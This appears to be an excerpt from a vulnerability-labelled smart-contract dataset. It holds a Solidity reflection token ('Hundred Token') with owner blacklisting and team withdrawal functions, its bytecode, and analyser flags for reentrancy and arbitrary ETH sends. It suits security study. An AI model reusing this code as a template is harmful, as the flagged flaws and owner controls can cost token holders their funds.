_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 100 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
} | 0x60806040526004361061010c5760003560e01c80636fc3eaec1161009557806395d89b411161006457806395d89b411461033b578063a9059cbb14610366578063c3c8cd80146103a3578063d543dbeb146103ba578063dd62ed3e146103e357610113565b80636fc3eaec146102a557806370a08231146102bc578063715018a6146102f95780638da5cb5b1461031057610113565b806323b872dd116100dc57806323b872dd146101d4578063293230b814610211578063313ce567146102285780635932ead1146102535780636b9990531461027c57610113565b8062b8cf2a1461011857806306fdde0314610141578063095ea7b31461016c57806318160ddd146101a957610113565b3661011357005b600080fd5b34801561012457600080fd5b5061013f600480360381019061013a9190612992565b610420565b005b34801561014d57600080fd5b50610156610570565b6040516101639190612e33565b60405180910390f35b34801561017857600080fd5b50610193600480360381019061018e9190612956565b6105ad565b6040516101a09190612e18565b60405180910390f35b3480156101b557600080fd5b506101be6105cb565b6040516101cb9190612fd5565b60405180910390f35b3480156101e057600080fd5b506101fb60048036038101906101f69190612907565b6105d8565b6040516102089190612e18565b60405180910390f35b34801561021d57600080fd5b506102266106b1565b005b34801561023457600080fd5b5061023d610c06565b60405161024a919061304a565b60405180910390f35b34801561025f57600080fd5b5061027a600480360381019061027591906129d3565b610c0f565b005b34801561028857600080fd5b506102a3600480360381019061029e9190612879565b610cc1565b005b3480156102b157600080fd5b506102ba610db1565b005b3480156102c857600080fd5b506102e360048036038101906102de9190612879565b610e23565b6040516102f09190612fd5565b60405180910390f35b34801561030557600080fd5b5061030e610e74565b005b34801561031c57600080fd5b50610325610fc7565b6040516103329190612d4a565b60405180910390f35b34801561034757600080fd5b50610350610ff0565b60405161035d9190612e33565b60405180910390f35b34801561037257600080fd5b5061038d60048036038101906103889190612956565b61102d565b60405161039a9190612e18565b60405180910390f35b3480156103af57600080fd5b506103b861104b565b005b3480156103c657600080fd5b506103e160048036038101906103dc9190612a25565b6110c5565b005b3480156103ef57600080fd5b5061040a600480360381019061040591906128cb565b61120a565b6040516104179190612fd5565b60405180910390f35b610428611291565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ac90612f35565b60405180910390fd5b60005b815181101561056c576001600a6000848481518110610500577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610564906132eb565b9150506104b8565b5050565b60606040518060400160405280600d81526020017f48756e6472656420546f6b656e00000000000000000000000000000000000000815250905090565b60006105c16105ba611291565b8484611299565b6001905092915050565b600064174876e800905090565b60006105e5848484611464565b6106a6846105f1611291565b6106a18560405180606001604052806028815260200161370e60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610657611291565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c239092919063ffffffff16565b611299565b600190509392505050565b6106b9611291565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610746576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161073d90612f35565b60405180910390fd5b600e60149054906101000a900460ff1615610796576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161078d90612e75565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061082230600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1664174876e800611299565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561086857600080fd5b505afa15801561087c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108a091906128a2565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561090257600080fd5b505afa158015610916573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061093a91906128a2565b6040518363ffffffff1660e01b8152600401610957929190612d65565b602060405180830381600087803b15801561097157600080fd5b505af1158015610985573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109a991906128a2565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610a3230610e23565b600080610a3d610fc7565b426040518863ffffffff1660e01b8152600401610a5f96959493929190612db7565b6060604051808303818588803b158015610a7857600080fd5b505af1158015610a8c573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ab19190612a4e565b5050506001600e60166101000a81548160ff0219169083151502179055506001600e60176101000a81548160ff02191690831515021790555064174876e800600f819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610bb0929190612d8e565b602060405180830381600087803b158015610bca57600080fd5b505af1158015610bde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c0291906129fc565b5050565b60006009905090565b610c17611291565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ca4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c9b90612f35565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b610cc9611291565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d56576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4d90612f35565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610df2611291565b73ffffffffffffffffffffffffffffffffffffffff1614610e1257600080fd5b6000479050610e2081611c87565b50565b6000610e6d600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cf3565b9050919050565b610e7c611291565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f09576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0090612f35565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600281526020017f4848000000000000000000000000000000000000000000000000000000000000815250905090565b600061104161103a611291565b8484611464565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661108c611291565b73ffffffffffffffffffffffffffffffffffffffff16146110ac57600080fd5b60006110b730610e23565b90506110c281611d61565b50565b6110cd611291565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461115a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115190612f35565b60405180910390fd5b6000811161119d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161119490612ef5565b60405180910390fd5b6111c860646111ba8364174876e80061205b90919063ffffffff16565b6120d690919063ffffffff16565b600f819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf600f546040516111ff9190612fd5565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611309576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161130090612f95565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611379576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137090612eb5565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114579190612fd5565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114cb90612f75565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611544576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161153b90612e55565b60405180910390fd5b60008111611587576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157e90612f55565b60405180910390fd5b61158f610fc7565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115fd57506115cd610fc7565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b6057600e60179054906101000a900460ff1615611830573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561167f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116d95750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117335750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561182f57600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611779611291565b73ffffffffffffffffffffffffffffffffffffffff1614806117ef5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117d7611291565b73ffffffffffffffffffffffffffffffffffffffff16145b61182e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161182590612fb5565b60405180910390fd5b5b5b600f5481111561183f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118e35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118ec57600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119975750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119ed5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a055750600e60179054906101000a900460ff165b15611aa65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a5557600080fd5b601e42611a62919061310b565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ab130610e23565b9050600e60159054906101000a900460ff16158015611b1e5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b365750600e60169054906101000a900460ff165b15611b5e57611b4481611d61565b60004790506000811115611b5c57611b5b47611c87565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c075750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c1157600090505b611c1d84848484612120565b50505050565b6000838311158290611c6b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c629190612e33565b60405180910390fd5b5060008385611c7a91906131ec565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611cef573d6000803e3d6000fd5b5050565b6000600654821115611d3a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d3190612e95565b60405180910390fd5b6000611d4461214d565b9050611d5981846120d690919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611dbf577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611ded5781602001602082028036833780820191505090505b5090503081600081518110611e2b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611ecd57600080fd5b505afa158015611ee1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f0591906128a2565b81600181518110611f3f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611fa630600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611299565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161200a959493929190612ff0565b600060405180830381600087803b15801561202457600080fd5b505af1158015612038573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b60008083141561206e57600090506120d0565b6000828461207c9190613192565b905082848261208b9190613161565b146120cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120c290612f15565b60405180910390fd5b809150505b92915050565b600061211883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612178565b905092915050565b8061212e5761212d6121db565b5b61213984848461220c565b80612147576121466123d7565b5b50505050565b600080600061215a6123e9565b9150915061217181836120d690919063ffffffff16565b9250505090565b600080831182906121bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121b69190612e33565b60405180910390fd5b50600083856121ce9190613161565b9050809150509392505050565b60006008541480156121ef57506000600954145b156121f95761220a565b600060088190555060006009819055505b565b60008060008060008061221e8761243f565b95509550955095509550955061227c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124a790919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061231185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124f190919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061235d8161254f565b612367848361260c565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516123c49190612fd5565b60405180910390a3505050505050505050565b60006008819055506005600981905550565b60008060006006549050600064174876e800905061241764174876e8006006546120d690919063ffffffff16565b8210156124325760065464174876e80093509350505061243b565b81819350935050505b9091565b600080600080600080600080600061245c8a600854600954612646565b925092509250600061246c61214d565b9050600080600061247f8e8787876126dc565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006124e983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c23565b905092915050565b6000808284612500919061310b565b905083811015612545576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161253c90612ed5565b60405180910390fd5b8091505092915050565b600061255961214d565b90506000612570828461205b90919063ffffffff16565b90506125c481600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124f190919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612621826006546124a790919063ffffffff16565b60068190555061263c816007546124f190919063ffffffff16565b6007819055505050565b6000806000806126726064612664888a61205b90919063ffffffff16565b6120d690919063ffffffff16565b9050600061269c606461268e888b61205b90919063ffffffff16565b6120d690919063ffffffff16565b905060006126c5826126b7858c6124a790919063ffffffff16565b6124a790919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126f5858961205b90919063ffffffff16565b9050600061270c868961205b90919063ffffffff16565b90506000612723878961205b90919063ffffffff16565b9050600061274c8261273e85876124a790919063ffffffff16565b6124a790919063ffffffff16565b9050838184965096509650505050509450945094915050565b60006127786127738461308a565b613065565b9050808382526020820190508285602086028201111561279757600080fd5b60005b858110156127c757816127ad88826127d1565b84526020840193506020830192505060018101905061279a565b5050509392505050565b6000813590506127e0816136c8565b92915050565b6000815190506127f5816136c8565b92915050565b600082601f83011261280c57600080fd5b813561281c848260208601612765565b91505092915050565b600081359050612834816136df565b92915050565b600081519050612849816136df565b92915050565b60008135905061285e816136f6565b92915050565b600081519050612873816136f6565b92915050565b60006020828403121561288b57600080fd5b6000612899848285016127d1565b91505092915050565b6000602082840312156128b457600080fd5b60006128c2848285016127e6565b91505092915050565b600080604083850312156128de57600080fd5b60006128ec858286016127d1565b92505060206128fd858286016127d1565b9150509250929050565b60008060006060848603121561291c57600080fd5b600061292a868287016127d1565b935050602061293b868287016127d1565b925050604061294c8682870161284f565b9150509250925092565b6000806040838503121561296957600080fd5b6000612977858286016127d1565b92505060206129888582860161284f565b9150509250929050565b6000602082840312156129a457600080fd5b600082013567ffffffffffffffff8111156129be57600080fd5b6129ca848285016127fb565b91505092915050565b6000602082840312156129e557600080fd5b60006129f384828501612825565b91505092915050565b600060208284031215612a0e57600080fd5b6000612a1c8482850161283a565b91505092915050565b600060208284031215612a3757600080fd5b6000612a458482850161284f565b91505092915050565b600080600060608486031215612a6357600080fd5b6000612a7186828701612864565b9350506020612a8286828701612864565b9250506040612a9386828701612864565b9150509250925092565b6000612aa98383612ab5565b60208301905092915050565b612abe81613220565b82525050565b612acd81613220565b82525050565b6000612ade826130c6565b612ae881856130e9565b9350612af3836130b6565b8060005b83811015612b24578151612b0b8882612a9d565b9750612b16836130dc565b925050600181019050612af7565b5085935050505092915050565b612b3a81613232565b82525050565b612b4981613275565b82525050565b6000612b5a826130d1565b612b6481856130fa565b9350612b74818560208601613287565b612b7d816133c1565b840191505092915050565b6000612b956023836130fa565b9150612ba0826133d2565b604082019050919050565b6000612bb8601a836130fa565b9150612bc382613421565b602082019050919050565b6000612bdb602a836130fa565b9150612be68261344a565b604082019050919050565b6000612bfe6022836130fa565b9150612c0982613499565b604082019050919050565b6000612c21601b836130fa565b9150612c2c826134e8565b602082019050919050565b6000612c44601d836130fa565b9150612c4f82613511565b602082019050919050565b6000612c676021836130fa565b9150612c728261353a565b604082019050919050565b6000612c8a6020836130fa565b9150612c9582613589565b602082019050919050565b6000612cad6029836130fa565b9150612cb8826135b2565b604082019050919050565b6000612cd06025836130fa565b9150612cdb82613601565b604082019050919050565b6000612cf36024836130fa565b9150612cfe82613650565b604082019050919050565b6000612d166011836130fa565b9150612d218261369f565b602082019050919050565b612d358161325e565b82525050565b612d4481613268565b82525050565b6000602082019050612d5f6000830184612ac4565b92915050565b6000604082019050612d7a6000830185612ac4565b612d876020830184612ac4565b9392505050565b6000604082019050612da36000830185612ac4565b612db06020830184612d2c565b9392505050565b600060c082019050612dcc6000830189612ac4565b612dd96020830188612d2c565b612de66040830187612b40565b612df36060830186612b40565b612e006080830185612ac4565b612e0d60a0830184612d2c565b979650505050505050565b6000602082019050612e2d6000830184612b31565b92915050565b60006020820190508181036000830152612e4d8184612b4f565b905092915050565b60006020820190508181036000830152612e6e81612b88565b9050919050565b60006020820190508181036000830152612e8e81612bab565b9050919050565b60006020820190508181036000830152612eae81612bce565b9050919050565b60006020820190508181036000830152612ece81612bf1565b9050919050565b60006020820190508181036000830152612eee81612c14565b9050919050565b60006020820190508181036000830152612f0e81612c37565b9050919050565b60006020820190508181036000830152612f2e81612c5a565b9050919050565b60006020820190508181036000830152612f4e81612c7d565b9050919050565b60006020820190508181036000830152612f6e81612ca0565b9050919050565b60006020820190508181036000830152612f8e81612cc3565b9050919050565b60006020820190508181036000830152612fae81612ce6565b9050919050565b60006020820190508181036000830152612fce81612d09565b9050919050565b6000602082019050612fea6000830184612d2c565b92915050565b600060a0820190506130056000830188612d2c565b6130126020830187612b40565b81810360408301526130248186612ad3565b90506130336060830185612ac4565b6130406080830184612d2c565b9695505050505050565b600060208201905061305f6000830184612d3b565b92915050565b600061306f613080565b905061307b82826132ba565b919050565b6000604051905090565b600067ffffffffffffffff8211156130a5576130a4613392565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131168261325e565b91506131218361325e565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561315657613155613334565b5b828201905092915050565b600061316c8261325e565b91506131778361325e565b92508261318757613186613363565b5b828204905092915050565b600061319d8261325e565b91506131a88361325e565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156131e1576131e0613334565b5b828202905092915050565b60006131f78261325e565b91506132028361325e565b92508282101561321557613214613334565b5b828203905092915050565b600061322b8261323e565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006132808261325e565b9050919050565b60005b838110156132a557808201518184015260208101905061328a565b838111156132b4576000848401525b50505050565b6132c3826133c1565b810181811067ffffffffffffffff821117156132e2576132e1613392565b5b80604052505050565b60006132f68261325e565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561332957613328613334565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c72656164792073746172746564000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6136d181613220565b81146136dc57600080fd5b50565b6136e881613232565b81146136f357600080fd5b50565b6136ff8161325e565b811461370a57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122057e036538d7a2bca058ea1bdcb98904d576f57c32c918f2f2cb1b612e82f8aee64736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 10,350 |
0xdce3e71a011b287434abab50f5ada66891c47dfe | //SPDX-License-Identifier: MIT
pragma solidity ^0.7.4;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
